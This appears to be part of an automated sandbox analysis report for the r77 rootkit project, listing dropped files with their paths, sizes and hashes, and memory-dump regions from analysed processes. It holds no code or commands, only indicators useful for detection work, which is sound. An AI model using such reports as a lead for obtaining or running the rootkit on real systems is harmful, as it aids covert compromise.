C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\Uninstall\Debug\Uninstall.tlog\Uninstall.lastbuildstate

Filesize
194B

MD5
2561b1e202496137cf153c64510aa00c

SHA1
99299b278acd426ba06e9673b9e221e08af6e66f

SHA256
f18d906dcfa9c4c5d2e7c8e936d226ab0c90932d26f0a9219dae8d2781e15d3d

SHA512
94c9d6bf91b0190b7a64d7b5364c50972cdd3190a378bd491daf57eecb69c88176bd5872d09f7d48cad010fea58bc8ad28b9a63505567da12756970eb342e8e0

Download Submit
C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\r77-x64\r77-x64.vcxproj.filters

Filesize
132B

MD5
60ccb96a3907c18a08dce19c5f0cb420

SHA1
d05b53976392efd95b829f83ad84a242beb1a03d

SHA256
a83ce53c056bbc6fe00cbcaf36aa1674d3a42376eabb8115b1f81c1244a8e358

SHA512
4923880d9a35cacdde191f8773a40dacb105c0c0f4da556105c6b9fcf6d74dc217ad9cbdaa7672b7def9b77741108c0fdd80b079bb8a3cc8b0bd2fa53c0d2ed0

Download Submit
C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\r77-x86\Release\r77-x86.tlog\CL.read.1.tlog

Filesize
263KB

MD5
3dc1edc16078db10ed0c254166134cb5

SHA1
8c31db61b80d1e8e4e09d3b0044f44b1b85076a0

SHA256
a7c75652505ea3f32b42bdd33d7f50ae503fd6279473dcbf37017cad8a25280f

SHA512
2611d5d336bcfe438823e3468f2761e0dd9c6cdecb6383271c06004661f4b8acb2018980a40db4d4970ea2057b5d0ba058de7765787a841587208d5317913654

Download Submit
C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\x64\Release\Helper64.dll

Filesize
10KB

MD5
d61aa4085bff9281f60af8196f4fd1e9

SHA1
acccbaea2841bfe494a8c4961a52c28bcd015f10

SHA256
7272f145249d3040e9cca3419e02eebd9085bf5fff6c728e7e33cab40b392c48

SHA512
be89e9b4be0ae7428ba48b3de672369108a680491a21c35609aaa17ca7eee95af4a1c41f69fe30eca9bcfc67222044c28e124ef1bd78df4f4b81db7f9bc07575

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_bdreamup.1gb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
aa187cac09f051e24146ad549a0f08a6

SHA1
2ef7fae3652bb838766627fa6584a6e3b5e74ff3

SHA256
7036d1846c9dc18e19b6391a8bcfbb110006c35791673f05ebf378d7c16c6d5f

SHA512
960f07a7f2699121c23ecdb1429e39b14485957b41ff9d201c737d1675f2d4cd97d4a3de4bce4fb18155c14183b96b2689a36df94297dba035eef640136b0df2

Download Submit
memory/2568-1333-0x00007FF6FFBA0000-0x00007FF6FFBC1000-memory.dmp

Filesize
132KB

Download
memory/2568-1331-0x00007FF6FFBA0000-0x00007FF6FFBC1000-memory.dmp

Filesize
132KB

Download
memory/3232-1322-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp

Filesize
2.0MB

Download
memory/3232-1323-0x00007FFB0B9B0000-0x00007FFB0BA6E000-memory.dmp

Filesize
760KB

Download
memory/3772-1246-0x00000231DAC00000-0x00000231DAC24000-memory.dmp

Filesize
144KB

Download
memory/3772-1360-0x00000231DAC70000-0x00000231DAC71000-memory.dmp

Filesize
4KB

Download
memory/3772-1359-0x00000231DADA0000-0x00000231DADA8000-memory.dmp

Filesize
32KB

Download
memory/5392-1289-0x0000020DD5A40000-0x0000020DD5A52000-memory.dmp

Filesize
72KB

Download
memory/5572-1293-0x00000000005B0000-0x0000000000627000-memory.dmp

Filesize
476KB

Download
memory/5572-1294-0x00000000005B0000-0x0000000000627000-memory.dmp

Filesize
476KB

Download
memory/5824-1327-0x0000000000E80000-0x0000000000EAC000-memory.dmp

Filesize
176KB

Download
memory/5848-1230-0x000001DE0BCF0000-0x000001DE0BD3A000-memory.dmp

Filesize
296KB

Download
memory/5848-1234-0x000001DE262A0000-0x000001DE262BA000-memory.dmp

Filesize
104KB

Download
memory/5848-1235-0x000001DE0D920000-0x000001DE0D928000-memory.dmp

Filesize
32KB

Download
memory/5848-1232-0x000001DE26330000-0x000001DE26386000-memory.dmp

Filesize
344KB

Download
memory/5848-1236-0x000001DE265D0000-0x000001DE26608000-memory.dmp

Filesize
224KB

Download
memory/5848-1237-0x000001DE0D930000-0x000001DE0D93E000-memory.dmp

Filesize
56KB

Download
memory/5872-1306-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp

Filesize
2.0MB

Download
memory/5872-1307-0x00007FFB0B9B0000-0x00007FFB0BA6E000-memory.dmp

Filesize
760KB

Download
memory/5872-1305-0x000001D1EC0E0000-0x000001D1EC12E000-memory.dmp

Filesize
312KB

Download
memory/5872-1304-0x000001D1EBC30000-0x000001D1EBC52000-memory.dmp

Filesize
136KB

Download
memory/5908-1346-0x0000020DFF030000-0x0000020DFF038000-memory.dmp

Filesize
32KB

Download
memory/5908-1347-0x0000020DFF0A0000-0x0000020DFF0C6000-memory.dmp

Filesize
152KB

Download